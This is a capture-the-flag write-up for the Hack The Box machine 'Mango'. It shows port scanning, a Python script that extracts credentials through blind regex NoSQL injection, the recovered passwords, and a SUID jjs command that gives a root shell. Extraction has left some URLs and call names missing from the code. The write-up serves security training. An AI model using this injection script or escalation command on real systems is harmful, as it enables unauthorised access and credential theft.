HTB Writeup: Mango

Sweet Sweet Ma(o)ngo



➜ mostwanted002@Loki Mango please nmap -sC -sV -T3 -oA nmap-tcp-all-ports -p- -iL ip.txt
Starting Nmap 7.92 ( ) at 2022-06-28 04:59 IST
Nmap scan report for (
Host is up (0.080s latency).
Not shown: 65532 closed tcp ports (reset)
22/tcp  open  ssh      OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 a8:8f:d9:6f:a6:e4:ee:56:e3:ef:54:54:6d:56:0c:f5 (RSA)
|   256 6a:1c:ba:89:1e:b0:57:2f:fe:63:e1:61:72:89:b4:cf (ECDSA)
|_  256 90:70:fb:6f:38:ae:dc:3b:0b:31:68:64:b0:4e:7d:c9 (ED25519)
80/tcp  open  http     Apache httpd 2.4.29 ((Ubuntu))
|_http-title: 403 Forbidden
|_http-server-header: Apache/2.4.29 (Ubuntu)
443/tcp open  ssl/http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Mango | Search Base
| ssl-cert: Subject: Prv Ltd./stateOrProvinceName=None/countryName=IN
| Not valid before: 2019-09-27T14:21:19
|_Not valid after:  2020-09-26T14:21:19
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_  http/1.1
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 44.40 seconds
  1. Web server is listening on TCP/80 and TCP/443. The SSL Certificate provides the domain name
  2. On requesting the same with curl at TCP/80 responds with a 200 OK instead of 403 Forbidden as seen in nmap scan results.

Web applications

  1. Two different web applications are found to be running on TCP/80 and TCP/443.

  2. The TCP/80 provides with just a login form.


  3. TCP/443 provides a search engine like interface.


Initial Foothold

Blind NoSQL Injection

  1. The web applications were fuzzed for directories and files but no significant findings were made.

  2. On testing the login form (TCP/80) for SQL, and NoSQL injections, it is found to be vulnerable to blind regex based NoSQL Injection.



  3. Changing the parameters in the login form from username to username[$regex] and password to password[$regex] allows an attacker to match strings based on regex in the database and bypass the login functionality. The complete form in HTTP request would look like:


    The regex ^.*matches any whole word. This can be used to enumerate username and password, by iterating on the loop with injection pattern as ^<CHAR_1>.*. If the request receives a HTTP 302, it is confirmed that the inserted character is the part of the username or password, whichever is being enumerated. Then, a new iteration of loop can be started and so on until the complete word is enumerated and the loop can be exited.

    Since one of the usernames available is known via the landing page after successful login (admin@mago.htb), the username can be set to admin to skip directly to the password.


    Credentials are found to be admin:t9KcS3>!0B#2

  4. If username is left blank as default, it’ll always match a first and then follow to enumerate admin as username. To avoid this behavior and enumerate other possible usernames, a few manual iterations of the script can be done by setting just the first character of the username variable other than a.

  5. The following python script can automate the processes involved in 3. and 4. altogether:

    #!/usr/bin/env python3
    import pwn
    import requests
    import string
    general_status = pwn.log.progress("Trying character")
    possible_first_char_status = pwn.log.progress("Possible first characters")
    username_status = pwn.log.progress("Username")
    password_status = pwn.log.progress("Password")
    last_status_code = pwn.log.progress("Last status code")
    possible_first_chars = []
    usernames = []
    credentials = {}
    url = ""
    headers = {'Content-Type': 'application/x-www-form-urlencoded'}
    wordlist = string.ascii_letters + string.digits + string.punctuation
    blacklist = ['*','+','.','?','|','&','$', '\\', '^']
    print("Enumerating possible first characters")
    for char in wordlist:
        if char in blacklist:
        body = f"username[$regex]=^{char}.*&password[$regex]=^.*&login=login"
        resp =, data=body, headers=headers, allow_redirects=False)
        if resp.status_code == 302:
    print("Enumerating usernames")
    for char in possible_first_chars:
        reached_end_of_wordlist = False
        username = char
        while not reached_end_of_wordlist:
            for i in range(len(wordlist)):
                if wordlist[i] in blacklist:
                body = f"username[$regex]=^{username + wordlist[i]}.*&password[$regex]=^.*&login=login"
                resp =, data=body, headers=headers, allow_redirects=False)
                if resp.status_code == 302:
                    username += wordlist[i]
                if i == (len(wordlist) - 1):
                    reached_end_of_wordlist = True
    reached_end_of_wordlist = False
    print("Enumerating password")
    for username in usernames:
        reached_end_of_wordlist = False
        password = ''
        while not reached_end_of_wordlist:
            for i in range(len(wordlist)):
                if wordlist[i] in blacklist:
                body = f"username={username}&password[$regex]=^{password + wordlist[i]}.*&login=login"
                resp =, data=body, headers=headers, allow_redirects=False)
                if resp.status_code == 302:
                    password += wordlist[i]
                if i == (len(wordlist) - 1):
                    reached_end_of_wordlist = True
                    credentials.update({username: password})
    print(f"Found following credentials from the database:")


User access

  1. Using the credentials for mango from website database, SSH Session was achieved successfuly.


  1. On looking at /etc/passwd, another user admin is available on the system. Using the credentials dumped from database, su admin allows to get a shell session as the user admin.

Privilege Escalation


  1. The find program can be used to find all the executable files which have SUID permissions set. (SUID bit enables the program to run with the privileges of the owner of the file. [ More info])

  2. The command can be as following:

    find / -perm -u=s uid 0 2>/dev/null
    # -perm -u=s -> to search only for files with SUID permission
    # uid 0 -> files owned by root
    # 2>/dev/null -> redirect stderr output to /dev/null for a cleaner output
  3. The interesting executable from the list is /usr/lib/jvm/java-11-openjdk-amd64/bin/jjs


  1. The GTFO Bins provides a command line string that can allow non-privileged user to run jjswith SUID permissions to escalate the privileges.

    echo "Java.type('java.lang.Runtime').getRuntime().exec('/bin/sh -pc \$@|sh\${IFS}-p _ echo sh -p <$(tty) >$(tty) 2>$(tty)').waitFor()" | /usr/lib/jvm/java-11-openjdk-amd64/bin/jjs
  2. On executing the command, a successful shell as root is obtained.


The remote host is now completely compromised.

Mayank Malik
ISC2 CC | CRTP | Incident Response | Synack Red Team Member | Threat and Malware Analyst | Security Researcher

I am a tech-savvy person, Red Team Enthusiast, and like to wander around to learn new stuff. Malware Analysis, Cryptography, Networking, and System Administration are some of my forte. One of the Founding Members of CTF Team, Abs0lut3Pwn4g3. Apart from the mentioned skills, I’m good at communication skills and am a goal-driven person. Yellow belt holder at in pursuit of learning and achieving Blue Belt.